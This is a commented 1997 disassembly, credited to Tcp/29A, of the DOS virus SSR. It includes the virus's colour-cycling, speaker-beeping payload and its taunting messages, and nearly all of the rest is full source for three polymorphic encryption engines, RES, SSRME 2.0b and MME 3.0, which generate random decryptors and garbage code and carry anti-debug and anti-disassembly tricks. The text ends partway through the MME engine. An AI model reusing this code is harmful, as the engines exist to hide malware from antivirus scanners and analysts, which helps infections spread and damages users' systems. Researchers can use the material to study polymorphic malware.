pop cx
pop di
add di,80*2 ; Next line
loop l_next_msg
xor cx,cx
mov bx,cx
mov ax,1010h
xor dx,dx
l_change_colors:
push di
push bx
mov di,0C8h
mov bx,0Ah
call sound
pop bx
pop di
int 10h ; AX=1010h : Set individual DAC regs.
; BX=0 -> Color 0
inc dh ; Inc value for red
push di
push bx
mov dl,dh
and dl,0Fh
cmp dl,1
jne loop_change_colors
nop
nop
nop
mov di,12Ch
mov bx,12Ch
call sound
jmp loop_change_colors

nop ; Unused code !


mov di,3E8h ;
mov bx,12Ch ;
call sound ;
loop_change_colors:
pop bx
pop di
jmp l_change_colors

sound:
push ax
push bx
push cx
push dx
push di
mov al,0B6h
out 43h,al ; Get the timer ready
mov dx,14h
mov ax,4F38h
div di
out 42h,al ; Send frecuency to timer
mov al,ah
out 42h,al
in al,61h ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
mov ah,al
or al,3 ; Speaker ON
out 61h,al
l_loop_sound2:
mov cx,0AF1h
l_loop_sound1:
loop l_loop_sound1
dec bx
jnz l_loop_sound2
mov al,ah ; Set Speaker to previous state
out 61h,al ; PC/XT PPI port B bits:
; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON
; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF
pop di
pop dx
pop cx
pop bx
pop ax
ret

iret ; Unused!
db 0 ; Unused!

msg_alarm db ' !!! ALARM WARNING DANGER APPROACHING !!!',0


db ' Hacker-fucker TSR shit or Any Virus Detected !!!',0
db ' Anyone who wants to fuck Revenge is Naivnij Man',0
db ' With best Wishes to E.Kaspersky !',0
db ' Now I''m CURELESS !!! SND Used !!! Rules !!!',0
db 'In future versions I will add :',0
db ' 1. Protected Mode Decryptor [SF0rCE]',0
db ' (Web,try to emul IT :)))) )',0
db ' 2. UniversalAntiDetector',0
db ' 3. Must Die: Lamers,Webs & other...',0
db ' 4. And other BUGs,GLUKs & SHITs !',0
db 'Dis is Continue... Win95 & her lamers must die!',0
db ' Searching... SEEK & DESTROY',0
db ' There can be only one ...',0

db 0Ah,0Dh,'--------------------'
db 0Ah,0Dh,'--------------------'
db 0Ah,0Dh,'Orign:NUkE HiM A11 !',0

db 'BIG NAWOROT',0
db 'BUGS INSIDE <tm> ',0

virus_end:

SSR ends

extrn res_engine:near
extrn ssrme_engine:near
extrn mme_engine:near

end host

; End of SSR disasm


; (c) 1997, Tcp/29A (tcp@cryogen.com)
;
; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; Random Encryption Synthezator (RES), by SSR
; Disasm by Tcp/29A (tcp@cryogen.com)
;
;
; Entry:
; DS:DX = code
; BX = runtime offset
; CX = number of bytes to encrypt
; Return:
; DS:DX = encryptor+code
; CX = size encryptor+code

.386p
RES segment use16
assume cs:RES, ds:RES, es:RES, ss:RES
org 0

RES_SIZE_DEC equ 300h ; But it only needs 169h

res_engine:
start:
call res_delta
res_delta:
pop si
sub si,3 ; Get delta-offset
pop ax
push cs
push ax
push es
mov ax,es
sub ax,10h
mov es,ax
mov di,100h
push cx
mov cx,offset(end_res)
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy RES code to working area
pop ds
pop cx
mov ax,offset(res_start+100h)
push es
push ax
retf ; jmp res_start

res_start:
pop es
mov si,100h
mov ax,es
add ax,(end_res-start+15)/16+1
mov es,ax ; Calculate base segment for decryptor
mov cs:[si+runtime_ofs],bx
mov cs:[si+code_length],cx
push cx
mov cx,RES_SIZE_DEC
xor di,di
mov al,90h ; NOP
cld
rep stosb ; Fill with NOPs
call init_masks
mov cx,8 ; 8 instructions per decryptor
xor di,di
add di,si
l_select_instructions:
push cx
call RES_get_random
mov ah,0
push cx
mov cl,5
shr al,cl ; AX in [0..7]
shl ax,1
shl ax,1 ; AX:=AX*4 (4 bytes per instruction)
pop cx
push di
push si
add di,offset(buffer_decryptor)
add si,offset(decryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select an instruction for decryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
push di
push si
add di,offset(buffer_encryptor)
add si,offset(encryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select the instruction for encryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
add di,4
pop cx
loop l_select_instructions
call reverse_decryptor_table
call make_encryptor
pop cx
push cx
mov bp,dx
mov di,RES_SIZE_DEC
mov cs:[si+code_CRC],0
l_encrypt_code:
mov al,ds:[bp]
mov es:[di],al
mov ah,0
add cs:[si+code_CRC],ax ; Make code CRC

encryptor db 8*4 dup(90h) ; Buffer for encryptor

inc di
inc bp
loop l_encrypt_code
push ds
push cs
pop ds
xor di,di
push si
add si,offset(decryptor_code)
mov cx,decrypted_code-decryptor_code
nop
cld
rep movsb ; Copy decryptor to buffer
pop si
pop ds
push es
pop ds
xor dx,dx ; DS:DX = Address of decryptor+code
pop cx
add cx,RES_SIZE_DEC ; Decryptor+encrypted code
retf

db 0
db 'RandomEncryptionSynthezator',0
db 'ü S.S.R. 1996-97',0

init_masks:
push si
mov cx,3 ; Only first 3 instructions need a mask
l_next_mask:
call RES_get_random
mov byte ptr cs:[si+decryptor_table+3],al ; Store mask
mov byte ptr cs:[si+encryptor_table+3],al
add si,4 ; Next inst.
loop l_next_mask
pop si
ret

RES_get_random:
pushf
in al,40h ; Get random number
ror al,1
xor al,53h
popf
ret

make_encryptor:
push es
push ds
push cs
pop es
push cs
pop ds
push si
in al,40h ; Get random number
mov cx,8
mov di,offset(encryptor)
add di,si
add si,offset(buffer_encryptor)
l_make_encryptor:
rcr al,1 ; Add instruction to encryptor?
jc add_instruction ; Yes? then jmp
nop
nop
add si,4
loop_make_encryptor:
loop l_make_encryptor
jmp encryptor_done
nop

add_instruction:
cld
push cx
mov cx,4
rep movsb ; Store instruction
pop cx
jmp loop_make_encryptor

encryptor_done:
pop si
pop ds
pop es
ret

reverse_decryptor_table:
push ax
push bp
push di
push cx
push bx
mov cx,8/2
mov di,offset(buffer_decryptor)
add di,si
mov bp,offset(end_buffer_dec)-4 ; Point to last inst.
add bp,si
l_reverse_table:
mov ax,cs:[di] ; Xchg instructions
mov bx,cs:[bp]
mov cs:[di],bx
mov cs:[bp],ax
mov ax,cs:[di+2]
mov bx,cs:[bp+2]
mov cs:[di+2],bx
mov cs:[bp+2],ax
sub bp,4 ; xchg next instruction
add di,4
loop l_reverse_table
pop bx
pop cx
pop di
pop bp
pop ax
ret

db 4 ; Unused !!

decryptor_code:
runtime_ofs equ word ptr $+1
mov bp,0 ; mov bp,runtime_ofs
push 1100h+(90h+3Ch-20h)
sub bp,offset(decryptor_code)
mov di,offset(decryptor)
add di,bp
pop ax ; AX:=1100h+(90h+3Ch-20h)
inc cs:[bp+n_decryptors] ; Inc # of tested decryptors
mov cs:[bp+decryptor_ok],0 ; Decryptor not found
mov cs:[bp+decrypting],0 ; Not decrypting
mov cx,20h
push es
push ds
add ax,cx
push cs
pop es
push cs
pop ds
cld
dec cx
sub al,3Ch ; AL:=90h (NOP)
rep stosb
add al,3Ch ; AL:=0CCh (int 3)
stosb
cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
jb create_random_decryptor ; Yes? then jmp
nop
nop
mov ax,cs:[bp+n_decryptors] ; Don't use a random number.
; n_decryptors will be increased, so it'll
; find the correct decryptor.
jmp create_decryptor
nop

db 66h ; Unused!? (antidebug??)

create_random_decryptor:
in al,40h ; Get random number
create_decryptor:
mov cs:[bp+decryptor_id],al ; Why? Never use it!!
mov cx,8
mov si,offset(buffer_decryptor)
add si,bp
mov di,offset(decryptor)
add di,bp
l_make_random_decryptor:
rcr al,1 ; Add instruction to decryptor?
jc add_inst_dec ; Yes? then jmp
nop
nop
add si,4
next_dec_instruction:
loop l_make_random_decryptor
jmp done_random_decryptor
nop

add_inst_dec:
cld
push cx
mov cx,4
rep movsb ; Add instruction
pop cx
jmp next_dec_instruction

done_random_decryptor:
mov di,RES_SIZE_DEC
add di,cs:[bp+runtime_ofs]
code_length equ word ptr $+1
mov cx,0 ; mov cx,code_length
mov bx,cs:[bp+code_CRC]
l_random_decryptor:
mov dl,cs:[di]

decryptor db 8*4 dup(90h)

mov al,dl
mov ah,0
sub bx,ax ; Calculate CRC
cmp cs:[bp+decrypting],1 ; Decrypting?
je decrypt_byte ; Yes? then jmp
nop
nop
loop_decryptor:
inc di
loop l_random_decryptor
pop ds
pop es
cmp bx,0 ; CRC OK?
jnz decryptor_code ; No? then jmp
jmp found_decryptor ; Yes? then jmp
nop

buffer_decryptor db 8*4 dup(90h)


end_buffer_dec:

code_CRC dw 0
decryptor_ok db 0
decrypting db 0
db 0Bh ; Unused!
db 0Bh ; Unused!
db 0Bh ; Unused!
decryptor_id db 0
n_decryptors dw 0

decrypt_byte:
mov cs:[di],dl ; Store decrypted byte
jmp loop_decryptor

found_decryptor:
cmp cs:[bp+decryptor_ok],1 ; Code decrypted?
je code_decrypted ; Yes? then jmp
nop
nop
mov cs:[bp+decrypting],1
mov cs:[bp+decryptor_ok],1
push es
push ds
jmp done_random_decryptor ; Decrypt code

code_decrypted:
jmp anti_disasm1
nop
db 69h ; Antidebug
anti_disasm1:
cli
push 3545h
jmp anti_disasm2
nop
db 0EAh ; Antidebug
anti_disasm2:
cli
inc sp
mov ax,cs:[bp]
xor ax,bx
cld
scasb
inc sp
mov ax,4202h
sub sp,2
pop ax
cmp ax,3545h ; Is it being traced?
jne decrypted_code ; Yes? then jmp
; BUG! Should jump when not traced
nop
nop
xor ax,3445h
mov es,ax
inc byte ptr cs:[0Dh]
and cx,0Fh
rep scasb
xor ax,cs:[si]
pushf
pop ax ; Get flags
and ah,0FEh ; Clear trace flag
push ax
xchg bx,cx
les bx,ds:[2Bh]
popf ; Trace flag off
xor eax,eax
mov dr7,eax ; Clear all breakpoints
dec byte ptr cs:[0Dh]
call skip_reset
db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)
dw 0FFF0h ; but never reach here because in 'skip_reset'
dw 0F000h ; it does a pop of the return address

skip_reset:
pop ax
decrypted_code: ; End of decryptor code

encryptor_table:
xor byte ptr es:[di],0
add byte ptr es:[di],0
sub byte ptr es:[di],0
nop
ror byte ptr es:[di],1
nop
rol byte ptr es:[di],1
nop
neg byte ptr es:[di]
nop
not byte ptr es:[di]
nop
neg byte ptr es:[di]

decryptor_table:
nop
xor dl,0
nop
sub dl,0
nop
add dl,0
nop
nop
rol dl,1
nop
nop
ror dl,1
nop
nop
neg dl
nop
nop
not dl
nop
nop
neg dl

buffer_encryptor db 8*4 dup(90h)

end_res:

RES ends
public res_engine
end

; End of RES disasm


; (c) 1997, Tcp/29A (tcp@cryogen.com)
;
; - -[SSRME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; Stainless Steel Rat Mutation Engine v2.00beta (SSRME 2.0b), by SSR
; Disasm by Tcp/29A (tcp@cryogen.com)
;
; Entry:
; DS:DX = code to encrypt
; BP = runtime offset
; CX = total bytes to encrypt
; Return:
; DS:DX = decryptor + encrypted code
; CX = size decryptor + encrypted code

SSRME200b segment use16


assume cs:SSRME200B, ds:SSRME200B, es:SSRME200B, ss:SSRME200B
org 0

SSRME_DEC_SIZE = 5000
SSRME_SIZE = end_ssrme200b - start

ssrme_engine:
start:
call ssrme_delta
ssrme_delta:
pop si
sub si,3 ; Get delta offset
pop ax
push cs
push ax
push es
mov ax,es
sub ax,10h
mov es,ax
mov di,100h
push cx
mov cx,SSRME_SIZE
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy engine code to working area
pop ds
pop cx
mov ax,offset(start_ssrme)+100h
push es
push ax
retf ; jmp start_srme

start_ssrme:
pop es
mov si,100h
mov ax,es
add ax,(end_ssrme200b-start+15)/16+1
mov es,ax
mov cs:[si+ofs_src],dx
push cx
push bx
mov cx,8
mov al,0
mov bp,offset(register_table)
l_gen_reg_table: ; Create a table with [0,1,2,3,5,6,7]
mov cs:[bp+si],al
cmp al,4 ; Register SP?
je skip_4 ; Yes? then jmp (skip it)
inc bp
skip_4:
inc al
loop l_gen_reg_table
push si
mov cx,8
add si,offset(register_table)
l_xchg_regs: ; Xchg registers in register table
call SSRME_get_random
and al,7
mov ah,0 ; AX in [0..7]
mov bp,si
add bp,ax ; Reg #1
call SSRME_get_random
and ax,7 ; AX in [0..7]
mov di,si
add di,ax ; Reg #2
mov al,cs:[bp]
xchg al,cs:[di] ; Xchg registers
mov cs:[bp],al
loop l_xchg_regs
pop si
mov cx,SSRME_DEC_SIZE
mov al,90h ; NOP
xor di,di
cld
rep stosb ; Fill with NOPs
xor di,di
xor bp,bp
l_next_register:
push bp
mov ax,0B866h ; Generate MOV ext-reg,xxxxxxxx
add ah,byte ptr cs:[bp+si+register_table] ; Select reg
stosw
call SSRME_get_random ; Generate double-word
mov ah,al
call SSRME_get_random
stosw
call SSRME_get_random
mov ah,al
call SSRME_get_random
stosw
call generate_garbage_calljmp
pop bp
inc bp ; Next register
cmp bp,8 ; Last register?
jne l_next_register ; No? then jmp
mov cx,5
l_main_shit:
call generate_garbage
call generate_call_jmp
call generate_jxx
push cx
mov cx,5
l_gen_regreg:
call generate_op_regreg
loop l_gen_regreg
pop cx
call generate_int
call generate_call_addsp
loop l_main_shit
mov cs:[si+ofs_start_dec],di
mov ax,60CDh ; Generate INT 60h
cld
stosw
push ax
push bx
push cx
push dx
push bp
push di
push ax
push ax
push ax
push ax
push es
xor ax,ax
mov es,ax ; ES:=0
mov es:[60h*4+2],cs ; Set new int 60h
mov ax,offset(int_60h)
add ax,si
mov es:[60h*4],ax
pop es
xor ax,ax ; Exec generated routine until int 60h
push es
push ax
retf

int_60h:
add sp,6 ; Remove return address+flags from stack
mov ax,si
mov si,100h
mov cs:[si+value_di],di ; Save reg values
mov cs:[si+value_ax],ax
mov cs:[si+value_bx],bx
mov cs:[si+value_bp],bp
pop ax
pop ax
pop ax
pop ax
pop di
pop bp
pop dx
pop cx
pop bx
pop ax
call SSRME_get_random
and al,7 ; AL in [0..7]
add al,80h ; AL in [80h...87h]
mov cs:[si+opindex],al
mov ah,0
shl al,1 ; AL in [0, 2,..., 14]
push ax
mov bx,offset(register_combination)
add bx,ax
mov ax,cs:[bx+si] ; Select a register combination
mov bx,offset(register_table)
mov cx,8
l_remove_registers: ; Remove register from register table
; because it is used
cmp al,cs:[bx+si]
je remove_register
cmp ah,cs:[bx+si]
jne dont_remove_register
remove_register:
mov byte ptr cs:[bx+si],0
dont_remove_register:
inc bx
loop l_remove_registers
pop ax
push ax
mov bx,offset(register_combination)
add bx,ax
mov ax,cs:[bx+si] ; Previously selected reg combination
mov bh,al
add bh,40h ; INC register
mov cs:[si+inc_inst],bh
mov cs:[si+index_reg],al
push dx
call get_register_value
mov cs:[si+value_index],dx
pop dx
pop ax
pop bx
add bx,SSRME_DEC_SIZE
push bx
mov bx,offset(register_combination)
add bx,ax
mov ax,cs:[bx+si] ; Previously selected reg combination
cmp al,ah ; Using same register?
je using_1reg ; Yes? then jmp
call get_register_value ; Get reg1 value
mov cx,dx
mov al,ah
call get_register_value ; Get reg2 value
add cx,dx ; Add values
jmp calc_index_inm
nop

using_1reg:
call get_register_value ; Get reg value
mov cx,dx
calc_index_inm:
pop bx ; Runtime offset
mov ax,bx
sub ax,cx ; Runtime ofs - reg.values
mov cs:[si+index_inm],ax ; [index_reg +/- inmediate]
mov cx,8
mov bx,offset(end_decryptor-4)
mov di,cs:[si+ofs_start_dec]
l_gen_operation:
call SSRME_get_random
mov dl,al ; Value for mask
call SSRME_get_random
and ax,3 ; AX in [0..3] (select operation)
call generate_dec_instruction
call generate_enc_instruction
call generate_garbage
call generate_call_jmp
call generate_jxx
loop l_gen_operation
pop cx
push cx
mov bp,cs:[si+ofs_src]
mov bx,SSRME_DEC_SIZE
push cx
cld
l_crypt:
mov al,ds:[bp]
mov es:[bx],al
encryptor:
db 8*4 dup(90h) ; NOP
end_decryptor:
inc bx
inc bp
loop l_crypt
mov al,cs:[si+inc_inst] ; Generate INC index
stosb
pop dx ; Runtime ofs
add dx,cs:[si+value_index]
mov al,81h ; Generate CMP index,ofs end decryption
stosb
mov al,cs:[si+index_reg]
add al,0F8h
stosb
mov ax,dx
stosw
mov ax,374h ; Generate JE $+5
stosw
mov al,0E9h ; Generate JMP start decryptor
stosb
mov ax,cs:[si+ofs_start_dec]
sub ax,di
dec ax
dec ax
stosw
fill_length:
cmp di,SSRME_DEC_SIZE-100
jae jmp_code
call generate_garbage
jmp fill_length

jmp_code:
cld
mov al,0EBh ; Generate JMP xx
stosb
mov ax,SSRME_DEC_SIZE
sub ax,di
dec ax ; jmp to start of encrypted code
stosb
l_fill_buffer:
cmp di,SSRME_DEC_SIZE ; Buffer filled?
jae end_ssrme ; Yes? then jmp
call SSRME_get_random
stosb
jmp l_fill_buffer

end_ssrme:
push es
pop ds
xor dx,dx ; DS:DX -> decryptor + encrypted code
pop cx
add cx,SSRME_DEC_SIZE ; CX = size decryptor + encrypted code
retf

decryption_inst:
db 80h
opindex db 80h
index_inm dw 0
_mask db 0
inc_inst db 0

SSRME_get_random:
pushf
in al,40h ; Get random number
ror al,1
xor al,53h
popf
ret

generate_garbage:
cld
push bx
call SSRME_get_random
and al,7 ; AL in [0..7]
cmp al,1 ; Generate 1 byte instruction?
je generate_1byte ; Yes? then jmp
cmp al,2 ; Generate antidisasm code?
je generate_antidisasm ; Yes? then jmp
cmp al,3 ; Generate conditional jump?
je generate_conditional_jmp; Yes? then jmp
cmp al,4 ; Generate JMP?
jne generate_operation ; No? then jmp?
jmp generate_jmp ; Yes? then jmp

generate_operation:
mov al,66h ; Extended registers
stosb
mov bx,offset(op_reg_inm_table)
call SSRME_get_random
and ax,7 ; AX in [0..7]
shl al,1 ; Select table entry
add bx,ax
mov al,cs:[bx+si] ; Generate operation
stosb
mov ah,cs:[bx+si+1]
call select_random_reg
and al,7 ; AL in [0..7]
add al,ah ; Select register
stosb
call SSRME_get_random ; Generate double word
mov ah,al
call SSRME_get_random
stosw
call SSRME_get_random
mov ah,al
call SSRME_get_random
stosw
ret_gen_garbage:
pop bx
ret

generate_1byte:
mov bx,offset(_1byte_table)
call SSRME_get_random
and ax,0Fh ; AX in [0..0Fh]
add bx,ax
mov al,cs:[bx+si] ; Select random instruction
stosb
jmp ret_gen_garbage

generate_antidisasm:
mov bx,offset(antidisasm_table)
call SSRME_get_random
and ax,3 ; AX in [0..3]
add bx,ax ; Select table entry
mov al,cs:[bx+si]
push ax
mov ax,1EBh ; Generate JMP $+1
stosw
pop ax ; Store anti-disasm
stosb
jmp ret_gen_garbage

generate_conditional_jmp:
call SSRME_get_random
rcr al,1 ; Generate CMC instruction?
jc generate_cmc ; Yes? then jmp
rcr al,1 ; Generate CLC+JNC?
jc generate_clc_jnc ; Yes? then jmp
mov al,0F9h ; Generate STC
stosb
mov al,72h ; Generate JC
stosb
jmp generate_ofs_short
nop

generate_clc_jnc:
mov al,0F8h ; Generate CLC
stosb
mov al,73h ; Generate JNC
stosb
jmp generate_ofs_short
nop

generate_cmc:
rcr al,1 ; Generate CLC+CMC+JC?
jc generate_clc_cmc_jc ; Yes? then jmp
mov al,0F9h ; Generate STC
stosb
mov al,0F5h ; Generate CMC
stosb
mov al,73h ; Generate JNC
stosb
jmp generate_ofs_short
nop

generate_clc_cmc_jc:
mov al,0F8h ; Generate CLC
stosb
mov al,0F5h ; Generate CMC
stosb
mov al,72h ; Generate JC
stosb
jmp generate_ofs_short ; Stupid jmp!!
nop

generate_ofs_short:
push cx
push ax
push di ; Save position
inc di
call gen_never_executed_code
pop ax ; Restore position
mov cx,di ; Calculate jmp offset
sub cx,ax
mov bp,ax
dec cl
mov es:[bp],cl ; Store offset
pop ax
pop cx
jmp ret_gen_garbage
generate_jmp:
mov al,0EBh ; Generate JMP xx
stosb
jmp generate_ofs_short

generate_call_jmp:
cld
push ax
push cx
mov al,0E8h ; Generate CALL xxxx
stosb
push di ; Save offset position
inc di
inc di
mov cx,5
l_gen_call_shit:
call generate_garbage
loop l_gen_call_shit
mov al,0E9h ; Generate JMP xxxx
stosb
push di ; Save offset position
inc di
inc di
mov cx,5
l_gen_jmp_shit:
call generate_garbage
loop l_gen_jmp_shit
mov al,0C3h ; Generate RET
stosb
pop bp ; Restore offset position
mov ax,di ; Calculate JMP offset
sub ax,bp
sub ax,2
mov es:[bp],ax ; Store offset
add bp,2
mov ax,bp
pop bp ; Restore offset position
sub ax,bp ; Calculate CALL offset
sub ax,2
mov es:[bp],ax ; Store offset
pop cx
pop ax
ret

generate_garbage_calljmp:
push cx
call SSRME_get_random
and ax,3
mov cx,ax ; CX in [0..3]
inc cx
inc cx ; CX in [2..5]
l_gen_garbage_calljmp:
push cx
call generate_garbage
call generate_call_jmp
pop cx
loop l_gen_garbage_calljmp
pop cx
ret

gen_never_executed_code:
push ax
push cx
call SSRME_get_random
rcr al,1 ; Generate a simulated decryptor inst?
jc gen_sim_decr ; Yes? then jmp
and al,7 ; AL in [0..7]
inc al ; AL in [1..8]
mov ah,0
mov cx,ax ; Generate 1 to 8 bytes of shit
cld
l_generate1_8shit:
call SSRME_get_random
stosb
loop l_generate1_8shit
jmp ret_no_exec
nop

gen_sim_decr:
cld
mov al,2Eh ; Generate CS: prefix
stosb
mov al,80h ; byte ptr [bx+si],inm8
stosb
push bx
mov bx,offset(decrypt_inst)
call SSRME_get_random
and ax,7 ; AX in [0..7]
add bx,ax ; Select operation
mov al,cs:[bx+si] ; BUG! Only 4 operations in table, not 8
stosb
call SSRME_get_random ; Generate simulated mask
stosb
call SSRME_get_random ; Generate 2 bytes of shit
stosb
call SSRME_get_random
stosb
pop bx
ret_no_exec:
pop cx
pop ax
ret

select_random_reg:
push bx
push si
push ax
call SSRME_get_random
mov ah,0
and al,7 ; AX in [0..7]
add si,ax
mov al,byte ptr cs:[si+register_table]
mov bx,ax
pop ax
mov al,bl
pop si
pop bx
ret

generate_call_addsp:
cld
push ax
push cx
mov al,0E8h ; Generate CALL xxxx
stosb
push di ; Save offset position
inc di
inc di
call gen_never_executed_code
pop bp ; Restore offset position
mov ax,di ; Calculate jump offset
sub ax,bp
dec ax
dec ax
mov es:[bp],ax ; Store jump offset
mov cx,4
l_shit_csp:
call generate_garbage
loop l_shit_csp
mov ax,0C483h ; Generate ADD SP,2
stosw
mov al,2
stosb
pop cx
pop ax
ret

generate_op_regreg:
cld
push ax
push cx
mov al,66h ; Extended registers
stosb
call SSRME_get_random
rcr al,1 ; Generate XXX reg1,reg2 ?
jc generate_op2bytes ; No? then jmp
call SSRME_get_random
and ax,7 ; AX in [0..7]
mov bx,offset(operation_table)
add bx,ax ; Select operation from table
mov al,cs:[bx+si]
stosb
mov ah,0C0h ; Generate reg source and destination
call select_random_reg
add ah,al
call select_random_reg
mov cl,3
shl al,cl
add ah,al
xchg ah,al
stosb
ret_gen_regreg:
pop cx
pop ax
ret

generate_op2bytes:
call SSRME_get_random
and ax,7 ; AX in [0..7]
shl ax,1 ; AX:=AX*2
mov bx,offset(_2bytes_table)
add bx,ax
mov al,cs:[bx+si] ; Operation
stosb
mov ah,cs:[bx+si+1] ; Select destination register
call select_random_reg
add al,ah
stosb
jmp ret_gen_regreg
generate_jxx:
cld
push cx
push ax
mov ah,70h
call SSRME_get_random
and al,0Fh
add al,ah ; AL in [70h..7Fh] -> Conditional jumps
stosb
push di ; Save offset position
inc di
call generate_call_jmp
pop bp ; Restore offset position
mov ax,di ; Calculate jmp offset
sub ax,bp
dec al
mov es:[bp],al ; Store offset
pop ax
pop cx
ret

generate_int:
cld
push bx
push ax
call SSRME_get_random
and ax,3 ; AX in [0..3]
mov bx,offset(int_table)
add bx,ax
mov al,0CDh ; INT xx
mov ah,cs:[bx+si] ; Get int number
stosw
pop ax
pop bx
ret

get_register_value:
push ax
push bx
cmp al,3 ; BX ?
je get_bx ; Yes? then jmp
cmp al,5 ; BP ?
je get_bp ; Yes? then jmp
cmp al,6 ; SI ?
je get_si ; Yes? then jmp
xor bx,bx ; else DI
jmp get_value
nop

get_bx:
mov bx,4
jmp get_value
nop

get_bp:
mov bx,6
jmp get_value
nop

get_si:
mov bx,2
get_value:
mov dx,word ptr cs:[bx+si+value_registers]
pop bx
pop ax
ret

generate_enc_instruction:
push ax
push bp
mov bp,offset(encrypt_inst)
shl ax,1
shl ax,1
add bp,ax
mov ax,cs:[bp+si] ; Get instruction opcodes
mov cs:[bx+si],ax ; Add to encryptor
mov ax,cs:[bp+si+2] ; opcodes
mov ah,dl ; Add mask
mov cs:[bx+si+2],ax ; Add to encryptor
sub bx,4 ; Next instruction
pop bp
pop ax
ret

generate_dec_instruction:
cld
push ax
push cx
push bx
push bp
mov bx,offset(decrypt_inst)
add bx,ax ; Select instruction
mov al,2Eh ; Generate CS: prefix
stosb
mov ah,cs:[bx+si] ; Get opcode from table
mov al,cs:[si+opindex]
and al,0C7h
add al,ah ; Build operation+reg_index opcode
mov cs:[si+opindex],al
mov cs:[si+_mask],dl
push si
push ds
push cs
pop ds
mov cx,5
add si,offset(decryption_inst)
cld
rep movsb ; Generate instruction
pop ds
pop si
pop bp
pop bx
pop cx
pop ax
ret

db 0Dh,0Ah
db 'THE STAINLESS STEEL RAT MUTATION ENGINE v 2.00 beta'
db 0Dh,0Ah
db '²±°(c) S.S.R. 1996-97°±²',0Dh,0Ah

register_table:
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0

value_registers:
value_di dw 0
value_ax dw 0
value_bx dw 0
value_bp dw 0

index_reg db 0
value_index dw 0
ofs_start_dec dw 0
ofs_src dw 0

op_reg_inm_table:
db 81h, 0C0h ; ADD reg,inm
db 81h, 0E8h ; SUB reg,inm
db 81h, 0F8h ; CMP reg,inm
db 81h, 0E0h ; AND reg,inm
db 81h, 0C8h ; OR reg,inm
db 81h, 0F0h ; XOR reg,inm
db 81h, 0F8h ; CMP reg,inm
db 0F7h,0C0h ; TEST reg,inm

_1byte_table:
int 3
aaa
daa
cbw
cwd
aas
das
db 026h ; ES:
db 02Eh ; CS:
db 036h ; SS:
db 03Eh ; DS:
clc
cmc
stc
cld
std
nop

antidisasm_table:
db 066h
db 069h
db 0EAh
db 09Ah

operation_table:
db 1 ; ADD
db 29h ; SUB
db 39h ; CMP
db 21h ; AND
db 9 ; OR
db 31h ; XOR
db 39h ; CMP
db 85h ; TEST
_2bytes_table:
db 0FFh, 0C0h ; INC reg
db 0FFh, 0C8h ; DEC reg
db 0F7h, 0D0h ; NOT reg
db 0D3h, 0E0h ; SHL reg,CL
db 0D3h, 0E8h ; SHR reg,CL
db 0D3h, 0C0h ; ROL reg,CL
db 0F7h, 0D8h ; NEG reg
db 0D3h, 0C8h ; ROR reg,CL

int_table:
db 1 ; int 1
db 3 ; int 3
db 1Ch ; int 1Ch
db 28h ; int 28h

register_combination:
db 3 ; 0 ; BX
db 6 ; SI

db 3 ; 2 ; BX
db 7 ; DI

db 5 ; 4 ; BP
db 6 ; SI

db 5 ; 6 ; BP
db 7 ; DI

db 6 ; 8 ; SI
db 6 ; SI

db 7 ; 10 ; DI
db 7 ; DI

db 5 ; 12 ; BP
db 5 ; BP

db 3 ; 14 ; BX
db 3 ; BX

encrypt_inst:
add byte ptr es:[bx],0
sub byte ptr es:[bx],0
xor byte ptr es:[bx],0
add byte ptr es:[bx],0

decrypt_inst:
db 28h ; SUB
db 0 ; ADD
db 30h ; XOR
db 28h ; SUB

end_ssrme200b:

SSRME200b ends
public ssrme_engine
end

; End of SSRME 2.0b disasm


; (c) 1997, Tcp/29A (tcp@cryogen.com)
;
; - -[MME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; Metamorphic Mutation Engine 3.0 (MME 3.0), by SSR
; Disasm by Tcp/29A (tcp@cryogen.com)
;
; Entry:
; BX = runtime offset (delta offset)
; DS:DX = code to be encrypted
; ES = work segment
; CX = size
; Return :
; DS:DX = decryptor + code
; CX = size decryptor + code

MME30 segment
assume cs:MME30, ds:MME30, es:MME30, ss:MME30
org 0

MME_DEC_SIZE = 1500
SIZE_MME = end_mme - start

mme_engine:
start:
call MME_delta
MME_delta:
pop si
sub si,3 ; Get delta offset
pop ax
push cs
push ax
mov di,100h
push es
mov ax,es
sub ax,10h
mov es,ax
push cx
mov cx,SIZE_MME
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy code to buffer
pop ds
pop cx
mov ax,offset(mme_start)+100h
push es
push ax
retf ; Jump to copy (mme_start)

mme_start:
pop es
mov si,100h
mov ax,es
add ax,(SIZE_MME+15)/16+1
mov es,ax
mov cs:[si+ofs_in_file],bx
mov cs:[si+length_code],cx
mov cs:[si+base_code],dx
cld
mov al,90h ; NOP
xor di,di
mov cx,MME_DEC_SIZE ; Length of decryptor
rep stosb ; Fill with NOPs
xor di,di
cld
more_garbage:
call make_garbage
call get_random
and al,7 ; AL in [0..7]
cmp al,1 ; Generate call?
jne gen_jx? ; No? then jmp
nop
nop
nop
call generate_call
jmp check_garbage_s
nop

gen_jx?:
cmp al,2 ; Generate conditional jump+garbage?
jne check_garbage_s ; No? then jmp
nop
nop
nop
call generate_jx_garbage

check_garbage_s:
cmp di,1000 ; <1000 bytes of garbage?
jb more_garbage ; Yes? then jmp
call get_random
and ax,1Fh ; AX in [0..31]
add ax,1150 ; [1150..1181]: Return from RETF
mov cs:[si+return_retf],ax
push ax
mov ax,0C63Eh ; MOV DS:
stosw
mov al,6 ; [addr16],inm8
stosb
mov ah,0
call get_random
and al,3Fh
add al,0C0h ; AX in [0C0h..0FFh]
